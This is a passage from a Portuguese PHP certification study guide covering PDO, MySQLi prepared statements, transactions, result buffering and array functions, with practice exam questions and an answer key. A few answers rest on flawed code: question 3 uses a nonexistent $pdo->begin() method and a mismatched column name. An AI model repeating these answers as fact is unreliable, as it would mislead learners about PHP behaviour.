$pdo->exec("INSERT INTO usuarios (id, nome, email) VALUES (6, 'Ariel', 'ariel@c\
ertificamp.com')");
$pdo->beginTransaction();
$pdo->exec("INSERT INTO usuarios (id, nome, email) VALUES (7, 'Laura', 'laura@c\
ertificamp.com')");
throw new Exception();
} catch (Exception $e) {
$pdo->rollBack();
}

A: O usuario 'Ariel' será inserido, mas o usuário 'Laura' não


B: Ambos usuários ('Ariel' e 'Laura') serão inseridos
Banco de Dados 288

C: Nenhum usuário ('Ariel' e 'Laura') serão inseridos


D: O usuario 'Ariel' não será inserido, mas o usuário 'Laura' sim

PDO
PDO⁸⁷ é a abreviatura de PHP Data Object e provê uma camada de acesso unificada através de uma
interface simples e orientada a objetos.
Abstrai o acesso aos dados e não propriamente o banco de dados, pois não reescreve SQL, tão pouco
emula recursos ausentes em determinado BD. Ou seja: diretivas SQL específicas não são traduzidas.
A classe PDO vem instalada por padrão, mas as extensões e drivers de um BD específico devem ser
incorporadas de acordo com o tipo de banco que será utilizado.
Objetos PDO e MySQLi⁸⁸ conectam em SGBDs e seus métodos interagem com o banco de dados,
devolvendo outros objetos eventualmente. Ex.: $resultado = $conexao->query($sql);.
As constantes das classes PDO e MySQLi são geralmente usadas como argumentos de métodos. Por
exemplo: PDO::FETCH_ASSOC e MYSQLI_ASSOC.

Qual destas declarações sobre PDO não é verdadeira?

A: PDO suporta internamente Large Objects (LOBs).


B: Os placeholders (espaços reservados) em declarações preparadas precisam ser n\
omeados.
C: Quando algo dá errado, PDO pode lançar uma instância de sua própria classe de\
exceção.
D: PDO não emula uma funcionalidade que inexista no banco de dados.

Grande objetos⁸⁹, como volumes enormes de texto e arquivos binários, também podem ser armaze-
nados via PDO. Então a alternativa A é verdadeira e não condiz com o enunciado. Perceba que ele
pergunta qual é a alternativa falsa.
O controle de exceções em PDO pode ser tratado através de uma classe específica chamada
PDOException⁹⁰, então a alternativa C também é verdadeira.
Como já falamos no início desse tópico, a classe PDO não emula um recurso que porventura o banco
de dados em questão não possua, então a opção D também é verdadeira.
⁸⁷http://php.net/manual/pt_BR/book.pdo.php
⁸⁸MySQL Improved http://php.net/manual/pt_BR/book.mysqli.php.
⁸⁹http://php.net/manual/pt_BR/pdo.lobs.php
⁹⁰http://php.net/manual/pt_BR/class.pdoexception.php
Banco de Dados 289

E os placeholders, em declarações preparadas, não precisam ser nomeados quando usados via ? (sinal
de interrogação). Então a alternativa B é inválida, consequentemente será a alternativa “correta”
segundo o enunciado.
Abaixo seguem alguns exemplos de código no contexto de orientação à objetos:

• Retorna um novo objeto: $resultado = $conexao->query($sql);;


• Invoca um método: $linha = $resultado->fetch();;
• Exibe um atributo: echo $conexao->affected_rows;.

A primeira ação é definirmos a conexão com o banco de dados. Ela é feita através da instrução
Database Source Name (DSN), que pode variar a sintaxe dependendo do tipo de BD em uso. Ex.:

Banco de Dados Database Source Name


MySQL $dsn = "mysql:host=localhost;dbname=zcpe;port=3307";
SQLite3 $dsn = "sqlite:/caminho/do/banco/zcpe.db";
Microsoft SQL Server $dsn = "sqlsrv:Server=localhost;Database=zcpe";

Obs.: com exceção do DNS, todo o restante do código PDO apresentado nesse tópico é independente
de BD.
Recomenda-se utilizar o controle de exceções para encapsular código, evitando que o script exiba
informações em excesso ou falhe abruptamente.
Se houver erro de conexão ou execução de query inválida, será lançado (thrown) um objeto
PDOException (derivado da classe Exception, nativa do PHP). Dessa forma consegue-se manipular
o erro utilizando um bloco de código try/catch:

1 try {
2 $dsn = "mysql:host=localhost;dbname=oophp";
3 $db = new PDO($dsn, "usuario", "senha");
4 }
5 catch (PDOException $e){
6 $erro = $e->getMessage();
7 }

Assim que a conexão foi bem sucedida, podemos experimentar uma busca de resultados, conhecida
como fetching. Ex.:

Método Descrição
fetch() Obtém o próximo registro do resultado
fetchAll() Cria um array contendo todas as tuplas
fetchColumn() Obtém uma única coluna do registro seguinte
fetchObject() Pega a próxima linha como objeto
Banco de Dados 290

Exemplificando o método fetch(), abaixo segue uma consulta simples por nome e cidade da tabela
clientes - considerando que a conexão em $db foi previamente estabelecida:

1 $sql = "SELECT nome,cidade FROM clientes";


2 foreach ($db->query($sql) as $linha){
3 echo $linha['nome']." | ";
4 echo $linha['cidade']."<br>";
5 }

Outro métodos interessante é o fetchAll() que monta o array resultante associando o nome do
campo e sua respectiva ordem de consulta, usados como índice:

1 $sql = "SELECT nome, email FROM usuarios";


2 $res = $db->query($sql);
3 $tudo = $res->fetchAll();
4 echo "<pre>";
5 print_r($tudo);
6 echo "</pre>";
Banco de Dados 291

Caso queira condensar o resultado e montar um array associativo apenas com o nome dos campos,
basta utilizar a constante PDO::FETCH_ASSOC como parâmetro do método fetchAll(). Ex.: $tudo =
$res->fetchAll(PDO::FETCH_ASSOC);. Veja o resultado da consulta:
Banco de Dados 292

Obs.: para utilizar somente índices numéricos, baseados na ordem de consulta dos campos, basta
utilizar como argumento a constante PDO::FETCH_NUM.
Outra forma de consulta é obter uma coluna específica através do método fetchColumn(). Ex.:

1 $sql = "SELECT nome, email FROM usuarios";


2 $res = $db->query($sql);
3 while($coluna = $res->fetchColumn()){
4 echo $coluna."<br>";
5 }
Banco de Dados 293

A primeira coluna da tabela é vinculada ao índice 0, a segunda é associada a chave 1 e assim por
diante. No exemplo acima, o método fetchColumn() foi invocado sem argumento, então ele assume
o índice 0:

1 $sql = "SELECT nome, email FROM usuarios";


2 $res = $db->query($sql);
3 while($coluna = $res->fetchColumn(1)){
4 echo $coluna."<br>";
5 }

Qual dos seguintes métodos são usados para buscar dados de uma declaração PDO?
[ escolha 3 ]

A: fetchColumn()
B: fetchObject()
C: fetch()
Banco de Dados 294

D: fetchClass()
E: fetchRow()

Antes de respondermos essa questão, é importante relembrar as várias formas de obter resultados
de uma consulta através da classe PDO, tais como os métodos fetch(), fetchAll(), fetchColumn()
e fetchObject().
Portanto as alternativas corretas são A, B e C, pois os métodos fetchClass() e fetchRow()
simplesmente não existem na classe PDO⁹¹.
Um modo interessante, essencialmente diferente dos outros, é com o uso de PDO::FETCH_BOUND que
não retorna dados por si só, mas faz com que a classe PDO atribua valores à variáveis que foram
previamente vinculadas através do método bindColumn(). Ex.:

1 $dsn = "mysql:host=localhost;dbname=zcpe";
2 $pdo = new PDO($dsn, 'login', 'senha');
3 $cmd = "SELECT * FROM usuarios WHERE id=:id";
4 $stmt = $pdo->prepare($cmd);
5 $id = 2;
6 $stmt->bindParam(':id', $id); //também aceita 'id', sem os dois pontos
7 $stmt->execute();
8 $stmt->bindColumn(3, $resultado);
9 $stmt->fetch(PDO::FETCH_BOUND);
10 //$resultado recebe o conteúdo da terceira coluna do registro com id = 2

Para contar o número de resultados, utilizamos o método rowCount(). Ex.:

1 $sql = "SELECT nome, email FROM usuarios";


2 $res = $db->query($sql);
3 $num = $res->rowCount();

Mas é fundamental dizer que o método rowCount() não é 100% portável. Ou seja: não funciona, por
exemplo, no banco de dados SQLite.

1 $sql = "SELECT COUNT(*) FROM usuarios";


2 $conta = $db->query($sql);
3 $num = $conta->fetchColumn();

⁹¹http://php.net/manual/pt_BR/book.pdo.php
Banco de Dados 295

A conexão com o banco permite que sejam executadas cláusulas SQL a partir dos métodos query()
e exec(). A diferença é que o método query() devolve um objeto que contém um atributo
queryString, enquanto que o método exec() devolve a quantidade de linhas manipuladas pela
cláusula SQL em questão.
Para realizar o controle de erros e agilizar o debug, existem métodos da classe PDO e da classe
Exception que vão lhe auxiliar, respectivamente errorInfo() e getMessage():

Ao realizar consultas SQL eventualmente precisaremos tratar strings colocando aspas no início e
fim. Ex.: Ari transforma em 'Ari', d'água em 'd\'dágua'e assim por diante.
Para isso podemos utilizar o método quote(), mas ele é mais lento que as prepared statements e não
é suportado por todos os drivers PDO, como é o caso do ODBC.
Banco de Dados 296

1 $busca = "%Ari%";
2 $sql = "SELECT nome FROM usuarios WHERE nome LIKE ".$db->quote($busca);

Aprofundando um pouco mais as prepared statements, temos o método bindValue() que associa
(bind) um valor ao seu respectivo placeholder, utilizando o formato :nome:

1 $perfil = "advogado";
2 $sql = "SELECT nome FROM usuarios WHERE funcao = :perfil";
3 $stmt = $db->prepare($sql);
4 $stmt->bindValue(":perfil", $perfil);
5 $stmt->execute();
6 while($linha = $stmt->fetch()){
7 echo $linha['nome']."<br>";
8 }

Ao invés de passar valor por variável, como mostrado no exemplo anterior, você pode desejar passar
o valor diretamente. O método bindValue() aceita ambos os casos. Ex.:

1 $stmt->bindValue(":perfil", "advogado");

Já o bindParam() permite que o utilizemos exclusivamente com variáveis. A diferença é que


bindParam() associa o conteúdo da variável somente ao executar a declaração. Então o valor da
variável pode mudar a qualquer momento antes do execute(), sendo que bindParam() usa a última
atribuição realizada.

Finalizando as diferenças entre bindValue() versus bindParam(), ambos “escapam” o conteúdo


protegendo a entrada de dados (de possível ataque SQL Injection), porém o bindValue() faz a
substituição da query imediatamente, enquanto que o método bindParam() usa uma referência
e só substitui quando for executar realmente a query.
Banco de Dados 297

O uso das declarações preparadas nos traz uma série de benefícios, dentre eles o tratamento de
injeção de SQL - fundamentais para a segurança no BD. Essas instruções utilizam espaços reservados
para interpolação de valores. Uma forma de fazê-lo é através de anonymous placeholder que é o sinal
de interrogação ? para demarcar o local que deverá ser substituído.
O índice começa em 1 (um) e vai trocando na ordem em que os ? vão aparecendo na declaração.
Válido mencionar que prepared statement não permite substituições híbridas, que contenham
demarcações anônimas e nomeadas: ? e :nome, respectivamente.

1 $percentual = 10;
2 $sql = "SELECT nome FROM usuarios
3 WHERE percentual > ?
4 AND grupo = ? ORDER BY nome DESC";
5 $stmt = $db->prepare($sql);
6 $stmt->bindParam(1, $percentual);
7 $stmt->bindValue(2, "u");
8 $stmt->execute();
9 while($linha = $stmt->fetch()){
10 echo $linha['nome']."<br>";
11 }

Também é possível realizar interpolação em massa que modifica vários placeholders através de um
único comando. Basta passar o array como parâmetro do método execute(). Ex.:

1 $percentual = 10;
2 $sql = "SELECT nome FROM usuarios
3 WHERE percentual_sociedade > ?
4 AND grupo = ?
5 AND funcao = ?
6 ORDER BY nome DESC";
7 $stmt = $db->prepare($sql);
8 $valores = array($percentual, "a", "advogado");
9 $stmt->execute($valores);
Banco de Dados 298

A classe PDO não tem acesso a cláusula SQL final, devidamente combinada com os parâmetros
($stmt->queryString), pois eles são enviados separadamente para a camada de banco de dados.
A query transformada apenas pode ser visualizada através dos logs do BD.
Abaixo segue um exemplo de interpolação em massa utilizando espaço reservado nomeado (via
sintaxe :nome):

1 $percentual = 10;
2 $sql = "SELECT nome FROM usuarios
3 WHERE percentual_sociedade > :percentual
4 AND grupo = :grupo
5 AND funcao = :funcao
6 ORDER BY nome DESC";
7 $stmt = $db->prepare($sql);
8 $valores = array(":percentual" => $percentual, ":grupo" => "a", ":funcao" => "ad\
9 vogado");
10 $stmt->execute($valores);

Após a execução, é possível associar uma coluna a uma variável através do método bindColumn(),
desde que a coluna desejada conste na cláusula SQL.
A associação pode ser feita pela ordem da coluna ou pelo nome do campo:

1 $percentual = 10;
2 $sql = "SELECT nome,percentual,grupo FROM usuarios
3 WHERE percentual_sociedade > :percentual
4 AND grupo = :grupo
5 AND funcao = :funcao
6 ORDER BY nome DESC";
7 $stmt = $db->prepare($sql);
8 $valores = array(":percentual" => $percentual, ":grupo" => "u", ":funcao" => "ad\
9 vogado");
10 $stmt->execute($valores);
11
12 $stmt->bindColumn(1, $nome);
13 $stmt->bindColumn(2, $prct);
14 $stmt->bindColumn("grupo", $grp);
15
16 while($linha = $stmt->fetch()){
17 echo $nome." ";
18 echo $prct."% ";
19 echo $grp."<br>";
20 }
Banco de Dados 299

MySQLi (MySQL improved)


Indiscutivelmente o MySQL é o banco de dados dominante na Web, porém alguns recursos desse
banco não são plenamente suportados via PDO.
As funções “originais” do MySQL (iniciadas por mysql_*()) tornaram-se obsoletas na versão 5.5 do
PHP e foram completamente removidas na versão 7.0. Ex.: mysql_query() e mysql_fetch_assoc().
A biblioteca MySQLi (MySQL Improved) disponibiliza duas interfaces de operação com o banco:
procedural e orientada à objetos.
O character set interfere na forma como o PHP escapa os caracteres especiais e no tratamento das
aspas. O ideal que essa característica seja configurada no servidor de BD, mas pode ser modificada
via SQL. Ex.: SET NAMES utf8 e SET CHARACTER SET utf8;
Utilize o método set_charset() do objeto MySQLi (estilo orientado à objeto) ou a função mysqli_-
set_charset() (estilo procedural) para alterar o conjunto de caracteres padrão utilizados no cliente.
Ex.: mysqli->set_charset("utf8") e mysqli_set_charset($conexao, "utf8"), respectivamente.

Método Descrição
fetch_assoc() Obtém a próxima linha e monta um array associativo, onde o índice é o nome do campo
fetch_row() Obtém a próxima linha e monta um array com índices numéricos (baseado na ordem dos campos)
fetch_array() Permite escolher que tipo de índice se deseja. Argumento: MYSQLI_BOTH, MYSQLI_ASSOC ou MYSQLI_NUM
fetch_all() Cria um array contendo todas as linhas
fetch_object() Obtém a próxima linha como objeto

Outros dois atributos importantíssimos da classe MySQLi são: num_rows que guarda os registros
obtidos e affected_rows que armazena os registros impactados pela consulta:

1 $sql = "SELECT * FROM veiculos";


2 $result = $db->query($sql);
3 echo $result->num_rows;
4 $db->close();

1 $sql = "INSERT INTO veiculos (modelo,marca_id,ano,placa,lugares,autonomia)


2 VALUES
3 ('Corolla',1,2014,'IRA-9045',5,11),
4 ('Civic',3,2008,'IRA-1233',5,14)";
5 $db->query($sql);
6 echo $db->affected_rows; //Exibe 2

Reaproveitar uma consulta é de grande valia no intuito de alcançar melhor performance. O método
data_seek() permite retroceder o ponteiro numa respectiva posição e recomeçar a iteração. Ex.:
Banco de Dados 300

1 $sql = "SELECT * FROM veiculos";


2 $resultado = $db->query($sql);
3 while($linha = $resultado->fetch_assoc()){
4 echo $linha['modelo']."<br>";
5 }
6
7 $resultado->data_seek(0); //volta para a primeira tupla
8
9 while($linha = $resultado->fetch_assoc()){
10 echo $linha['autonomia']."<br>";
11 }

O atributo insert_id obtém o último ID inserido, geralmente um campo AUTO_INCREMENT e definido


como Primary Key (PK). Ex.:

1 $sql = "INSERT INTO veiculos2 (modelo,marca_id,ano,placa,lugares,autonomia)


2 VALUES ('Peugeot',7,2010,'IRA-2706',5,8)";
3 $db->query($sql);
4 echo $db->insert_id;

Qual a saída do código abaixo, considerando que há um ID único na tabela veiculo\


s (PK) e o último registro possuia o valor 12?
$sql = "INSERT INTO veiculos (modelo,ano,placa,lugares,autonomia)
VALUES
('308',2007,'IRA-2706',5,8),
('Duster',2013,'IRA-2010',5,8),
('Palio',2005,'IRA-8991',5,8)";
$db->query($sql);
echo $db->insert_id;

A: 12
B: 13
C: 14
D: 15
E: Fatal error

Talvez você tenha levado a crer que a resposta seria D: 15, mas ao invés de aparecer o valor 15
(que seria o último ID inserido), ele só guarda o primeiro inserido da série. No caso o 13, portanto
alternativa correta é B.
Para sanificar dados vindos do usuário, utilize o método real_escape_string() passando tal
conteúdo como argumento. É uma medida paliativa para escapar aspas e evitar SQL injection:
Banco de Dados 301

1 $busca = $db->real_escape_string($_GET['busca']);
2 $sql = "SELECT * FROM veiculos WHERE modelo LIKE '%".$busca."%'";
3 $resultado = $db->query($sql);
4 if($db->error){
5 echo $db->error;
6 }
7 while($linha = $resultado->fetch_assoc()){
8 echo $linha['modelo']."<br>";
9 }
10 }

Para realizar declarações preparadas com a classe MySQLi, é necessário observar alguns detalhes. O
primeiro é o método stmt_init() que cria um objeto statement, que possibilita a interpolação dos
placeholders.
Outra mudança, comparada a classe PDO, é a especificação do tipo de dado na substituição dos espaços
reservados - através do método bind_param(). Ex.:

Equivalente ao método bindParam() da classe PDO, que associa valores à variáveis, temos o método
bind_result(). Ex.:
Banco de Dados 302

Abaixo segue um exemplo de implementação de transações em MySQL Improved, desde que a engine
do banco seja InnoDB. Ex.:
Banco de Dados 303

As consultas através da classe MySQLi podem ser buffered x unbuffered. Isso significa que as queries
“bufferizadas” tem seu resultado armazenado em memória, consequentemente obtém o resultado da
consulta de forma imediata.

• Vantagens: como está em memória, consegue obter o número de linhas resultantes e mover o
ponteiro interno entre o conjunto resultante da consulta;
• Desvantagem: conjunto grande de resultado consome memória.

As consultas unbuffered trabalham com o conteúdo no SGBD e só obtém o resultado quando


solicitado (fetch):

• Vantagem: consome menos memória;


Banco de Dados 304

• Desvantagem: não acessa o número de resultados, nem move-se pelo result set e bloqueia
consultas enquanto outra está trazendo resultados (caso estejam na mesma conexão), gerando
sobrecarga no servidor.

Modo Declarações cruas Declarações preparadas


Buffered $res = $db->query($sql); $stmt->store_result();

Unbuffered $db->real_query($sql); é o padrão de operação


$db->use_result();

Algumas considerações e boas práticas:

• Queries subsequentes operando em buffer são mais fáceis de manipular pelo SGBD;
• Utilize o modo unbuffered quando a consulta trouxer um grande número de registros;
• Libere recursos quando não forem mais necessários;
• Não há como realizar novas consultas enquanto uma query unbuffered não for totalmente
consumida;
• Consultas “bufferizadas” permitem reuso dos resultados (data_seek).
Banco de Dados 305

Uma observação a respeito desse exemplo é que o método real_query() não devolve o resultado e
sim true ou false. Então é preciso o método use_result() em conjunto.
Para liberar memória (Garbage Collection) vinculada à consulta realizada pelo objeto $resultado
provido pela classe MySQLi, utilize os seguintes métodos. Ex.:

Método Descrição
$resultado->free(); Libera recurso de uma consulta
mysqli_free_result($resultado); Função (procedural)

Para liberar memória associada à consulta realizada (GC) do objeto $stmt provido pela classe
mysqli_stmt (MySQLi Statement), utilize os comandos:

Método Descrição
$stmt->close(); Destrói o objeto statement e cancela resultados pendentes
$stmt->free_result(); Limpa o resultado em memória, porém permite que a declaração seja reaproveitada

Liberar recursos evita a mensagem de erro: Commands out of sync; you can't run this command
now.

Consultas em aberto impedem que novas consultas (unbuffered) sejam realizadas.


Recomenda-se fechar queries desnecessárias para liberar memória no servidor e desafogar o banco.
O PHP fecha automaticamente todas as conexões no término da execução do script, mas podemos
fazê-lo explicitamente. Ex.: $db->close(); ou mesmo $db = null;.
E para finalizarmos o assunto, uma possibilidade interessante é a capacidade de executarmos
múltiplas queries - com a desvantagem de não suportar prepared statements:

1 $fabricantes = array("Toyota", "Ford", "Chevrolet");


2 $sql = "SELECT v.modelo AS modelo, MAX(v.autonomia) AS kmporlitro
3 FROM veiculos AS v
4 LEFT JOIN fabricante AS f ON v.marca_id=f.id
5 WHERE f.nome='$fabricantes[0]';
6 SELECT v.modelo AS modelo, MAX(v.autonomia) AS kmporlitro
7 FROM veiculos AS v
8 LEFT JOIN fabricante AS f ON v.marca_id=f.id
9 WHERE f.nome='$fabricantes[1]';
10 SELECT v.modelo AS modelo, MAX(v.autonomia) AS kmporlitro
11 FROM veiculos AS v
12 LEFT JOIN fabricante AS f ON v.marca_id=f.id
13 WHERE f.nome='$fabricantes[2]'";
14
15 $db->multi_query($sql);
Banco de Dados 306

16 do {
17 $resultado = $db->store_result();
18 $linha = $resultado->fetch_assoc();
19 echo "<h2>".$linha['modelo']." faz ".$linha['kmporlitro']." Km/litro.</h2>";
20 $resultado->free();
21 } while($db->next_result());

Simulado
1.

Considere a seguinte tabela no banco de dados.


O nome da tabela é "usuarios" com a chave primária "id":

+----+--------+------------------------+
| id | nome | email |
+----+--------+------------------------+
| 1 | Ari | ari@certificamp.com |
| 2 | Laci | laci@certificamp.com |
| 3 | Neto | neto@certificamp.com |
| 5 | Paloma | paloma@certificamp.com |
+----+--------+------------------------+

Ao executar o código PHP abaixo, qual será a saída?

<?php
$dsn = 'mysql:host=localhost;dbname=zcpe';
$login = 'root';
$senha = 'senha';
$pdo = new PDO($dsn, $login, $senha);

$cmd = "SELECT nome, email FROM usuarios LIMIT 1";


$stmt = $pdo->prepare($cmd);
$stmt->execute();
$result= $stmt->fetchAll(PDO::FETCH_BOTH);
$linha = $result[0];
print_r($linha);

A: O valor de $linha é 'array(0 => 'Ari', 1 => 'ari@certificamp.com')'.


B: O valor de $linha é 'array('nome' => 'Ari', 'email'=> 'ari@certificamp.com')'.
C: O valor de $linha é 'Array ( [nome] => Ari [0] => Ari [email] => ari@certific\
amp.com [1] => ari@certificamp.com ).
Banco de Dados 307

D: O valor de $linha é 'array('Ari' => 'ari@certificamp.com')'.

2.

Há como ver a query SQL resultante de uma declaração preparada (prepared stateme\
nt)?

A: Sim
B: Não

3.

Considere os seguintes dados de tabela e o código PHP, além de que o banco de da\
dos suporte transações.
A tabela chama-se "usuarios" com chave primária "id".
Assuma que há uma conexão PDO devidamente estabelecida.

$dsn = 'mysql:host=localhost;dbname=zcpe';
$login = 'root';
$senha = 'senha';
$pdo = new PDO($dsn, $login, $senha);
try {
$pdo->exec("INSERT INTO usuarios (id, name, email) VALUES (6, 'Renato', 'renato\
mefidf@gmail.com')");
$pdo->begin();
$pdo->exec("INSERT INTO usuarios (id, name, email) VALUES (7, 'Thiago', 'thiago\
luismo@gmail.com')");
throw new Exception;
}
catch (Exception $e) {
$pdo->rollBack();
}

+----+--------+------------------------+
| id | nome | email |
+----+--------+------------------------+
| 1 | Ari | ari@certificamp.com |
| 2 | Laci | laci@certificamp.com |
| 3 | Neto | neto@certificamp.com |
| 5 | Paloma | paloma@certificamp.com |
Banco de Dados 308

+----+--------+------------------------+

Qual é o resultado?

A: O usuário "Renato" será inserido, mas o usuário "Thiago" não


B: Os usuários "Renato" e "Thiago" serão inseridos
C: Nem o usuário "Renato" e nem "Thiago" serão inseridos
D: O usuário "Renato" não será inserido, mas o usuário "Thiago" será

4.

A função mysqli_affected_rows() pode ser usada para executar quais das seguintes\
ações?
[ escolha 2 ]

A: obter o número de linhas que são afetados após o COMMIT em uma transação
B: obter o número de linhas que são afetados pela declaração INSERT
C: obter o número de linhas que são afetados pela declaração SELECT
D: obter o número de linhas que são afetados pela declaração UPDATE
E: obter o número de linhas em um conjunto de resultados

5.

<?php
$db = new mysqli("localhost", "login", "senha", "Globo");
$db->autocommit(FALSE);
$db->begin_transaction();

$db->query("CREATE TABLE Paises (name VARCHAR (255)) ENGINE=InnoDB;");

$db->query("INSERT INTO Paises VALUES ('Noruega')");


$db->commit();

$db->query("INSERT INTO Paises VALUES ('Inglaterra')");


$db->commit();

$db->savepoint("se_asia");
$db->query("INSERT INTO Paises VALUES ('Vietnã')");
$db->commit();
Banco de Dados 309

$db->query("DELETE FROM Paises");


$db->rollback();
$db->release_savepoint("se_asia");

$db->close();
?>

Qual é o resultado do exemplo de código acima após a execução de $db->close()?

A: As tabelas Noruega e Inglaterra serão adicionados no banco de dados Globo


B: Os valores Noruega, Inglaterra e Vietnã serão adicionados a uma nova tabela P\
aises
C: Todos os valores serão deletados da tabela Paises
D: Uma nova tabela chamada Paises será criada, cotendo apenas os valores Noruega\
e Inglaterra
E: A tabela Paises será excluída do banco de dados Globo

Respostas do simulado
1.
O método fetchAll() da classe PDOStatement recebe, como primeiro argumento, o estilo de busca
a ser utilizado. Você pode optar por trazer os dados em um result set onde o índice é o nome do
campo (PDO::FETCH_ASSOC) ou a ordem em que os campos foram consultados (PDO::FETCH_NUM).
A questão utiliza uma outra constante chamada PDO::FETCH_BOTH que traz o resultado da consulta
associando em ambos estilos: via matriz associativa e numérico.
Portanto a resposta correta é C: O valor de $linha é 'Array ( [nome] => Ari [0] => Ari [email]
=> ari@certificamp.com [1] => ari@certificamp.com ).
2.
Resposta correta é B: Não.
A query submetida via prepared statement é tratada a nível de banco de dados, portanto não há
como inspecionar a query SQL resultante via PHP - exceto com bibliotecas de terceiros.
3.
Observe que a primeira chamada do método exec() não está encapsulada numa transação. Como
não há erros de sintaxe, nem infringe alguma constraint de banco de dados, tal query será executada
normalmente - inserindo o “Renato” na tabela usuarios.
Perceba que o segundo SQL está confinado em uma transação, disparado através do método
begin(). Antes que houvesse um commit() foi invocado deliberadamente uma exceção (linha throw
Banco de Dados 310

new Exception). Essa ação foi capturada pela instrução catch que tratou de desfazer, através do
método rollBack(), a inserção de “Thiago” na tabela usuarios.
Portanto a alternativa correta será a letra A: O usuário "Renato" será inserido, mas o usuário
"Thiago" não.

4.
Embora seja considerada uma questão fácil, essa questão pode gerar uma série de dúvidas. Ao
consultar a documentação oficial no endereço <www.php.net> teremos a informação de que a função
mysqli_affected_rows() retorna o número de linhas afetadas pela ultima consulta INSERT, UPDATE,
REPLACE ou DELETE. Portanto B e D são as alternativas corretas.

5.
Resposta é B: Os valores Noruega, Inglaterra e Vietnã serão adicionados a uma nova ta-
bela Paises.
Arrays
Array é a estrutura que armazena uma coleção de dados, organizados em pares chave-valor.
A vantagem do array é que ele pode armazenar quaisquer outros tipos de dados, tais como números
de ponto flutuante, textos, objetos e inclusive outros arrays internamente.
Existem dois tipos de indexação: onde as chaves são compostas por valores inteiros e a indexação
associando strings como chaves - também conhecidos como arrays associativos.

Arrays associativos
Onde a string é o índice associado ao valor:

1 $a = array(
2 'ZCPE' => 'Zend Certified PHP Engineer',
3 'PHP' => 'PHP: Hypertext Preprocessor'
4 );

Arrays enumerados
Onde um número inteiro é o referido índice:

1 $a = array('a', 'b', 'c');


2 $a = array(0 => 'a', 1 => 'b', 2 => 'c');

Perceba que na primeira linha, a associação do valor com sua respectiva chave é feita automatica-
mente. Inicia-se no índice 0 (zero), depois 1, 2 e assim sucessivamente.
Na segunda linha, podemos deliberadamente associar um índice ao valor. Nesse caso, a key 0
armazena o valor a, a chave 1 guarda o valor b e 2 o valor c.
Lembrando sempre que jamais pode-se armazenar diferentes valores numa mesma chave. O PHP
sobrescreve o dado com a última associação realizada.

Qual a saída do código a seguir?

<?php
$myArray = array("Three" => 3, "Two" => 2, "One" => 1);
sort($myArray);
Arrays 312

$keys = array_keys($myArray);
echo $keys[0];

A saída do código acima é 0.


O ponto crucial nesse script é a função sort() que ordena o vetor baseando-se no valor, descon-
siderando os índices vigentes (Three, Two e One) e atribuindo chaves numéricas - iniciando em 0
(zero).
A ordenação por sort() modifica totalmente os índices, sendo que a primeira chave torna-se 0. Na
sequência, a função array_keys() devolve outro array contendo índices em seus valores, resultando
no array(0 => 0, 1 => 1, 2 => 2).
Um comportamento plenamente aceitável, que muitos até se confundiriam, seria o código ordenar
o array como ("One" => 1, "Two" => 2, "Three" => 3). Mas essa saída ocorreria se usássemos a
função asort().

Dado o seguinte array:


$a = array('Ari', 4 => 'Paloma', 'Neto');

Que opção me fornece o terceiro elemento do array?

A: echo $a[3];
B: echo array_values($a, 3);
C: echo $a[5];
D: $r = array_reverse($a, true);
echo $r[0];

Nessa pergunta a alternativa correta é C: echo $a[5];.


Mesmo o array contendo apenas três elementos, nada impede dos índices serem maiores que seu
próprio tamanho. O primeiro elemento Ari é automaticamente associado a chave 0, Paloma assume
o índice 4 (pois foi explicitamente atribuido), já o valor Neto assume a próxima key disponível, que
é a posição 5.
Podemos preencher automaticamente um array através da função range(). Essa função cria o array
com os valores contidos no intervalo, delimitado pelo primeiro e segundo parâmetros.
Ela aceita também o incremento utilizado para formar a sequência, chamado de step (passo), que
está exemplificado na terceira linha:
Arrays 313

1 $a = range(4, 8); //array(4, 5, 6, 7, 8)


2 $a = range(4.1, 8.3); //array(4.1, 5.1, 6.1, 7.1, 8.1)
3 $a = range(4, 8, 0.5); //array(4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8)

Qual a saída do código a seguir?


<?php
echo count(range(7.0, 5.0, 0.16));
?>

A: 0
B: 3
C: 13
D: 12
E: Runtime error, pois 7.0 é maior que 5.0

Importante salientar que a função range() funciona também na ordem reversa, do maior para o
menor. Então já se descartam as alternativas A e E.
A alternativa B induz que a função desconsidera decimais (que não é o caso), então também é
descartada.
As opções mais prováveis ficam entre C e D. Nesses casos é importante utilizarmos o erasable board
para não haverem dúvidas. Fazendo as contas teremos 7, 6.84, 6.68, 6.52, 6.36, 6.2, 6.04, 5.88,
5.72, 5.56, 5.4, 5.24 e 5.08. A resposta correta é C: 13, já que existem 13 elementos no array -
sempre contando os elementos de início e fim, inclusive.
Outra função importante é o array_slice(array, offset) que extrai parte do array. O primeiro
parâmetro é o array em questão, o segundo argumento é que elemento começará a sequência
que fatia o array (que aparece na documentação como offset), o terceiro parâmetro (opcional) é
a quantidade de itens que serão percorridos e o quarto item (também opcional) informa se devemos
ou não preservar os índices originais.

1 $a = array(1, 2, 3, 4, 5);
2 $s = array_slice($a, 2); //array(3, 4, 5)
3 $s = array_slice($a, 1, 3); //array(2, 3, 4)
4 $s = array_slice($a, 1, 3, true); //array(1 => 2, 2 => 3, 3 => 4)

A função array_slice() permite que o offset e o número de elementos sejam negativos. O efeito
do offset negativo é semelhante ao comportamento da função substr(): devolve o número de itens
do fim para o início. Ex.: se o offset for -3 retorna os três últimos elementos do array.
Já o length (tamanho) negativo remove o últimos itens do array de acordo com o número
especificado. No exemplo abaixo o tamanho -2 retira os respectivos elementos do fim do array(3,
4, 5), retornando um array contendo apenas o elemento 3.
Arrays 314

1 $a = array(1, 2, 3, 4, 5);
2 $s = array_slice($a, -3); //array(3, 4, 5)
3 $s = array_slice($a, -3, -2); //array(3)

Para adicionarmos itens no array utilizamos a função array_push() que recebe, como primeiro
argumento, o array passado por referência. A variável $n, que aparece no exemplo, recebe o número
de elementos do array resultante (nesse caso 5). O vetor original era array(1, 2, 3) que adicionou
os elementos 4 e 5 ao final, consequentemente o array resultante ficou array(1, 2, 3, 4, 5).

1 $a = array(1, 2, 3);
2 $n = array_push($a, 4, 5); //$n == 5

Uma forma alternativa e mais eficiente de adicionar valores no array é através da construção:

1 $a[] = 4;
2 $a[] = 5;

O array_unshift() adiciona elementos no início do array, deslocando para o final os demais


elementos existentes.

1 $a = array(3, 4, 5);
2 $n = array_unshift($a, 1, 2); // $n == 5

Já a função array_shift() retira do vetor o primeiro elemento e o devolve como saída da função,
sendo que os valores existentes são movidos para a frente. Em contra-partida a função array_pop()
retira o elemento do fim.
Ações realizadas array_push() array_unshift() array_pop() array_shift()

Adiciona no array X X
Reduz o array X X
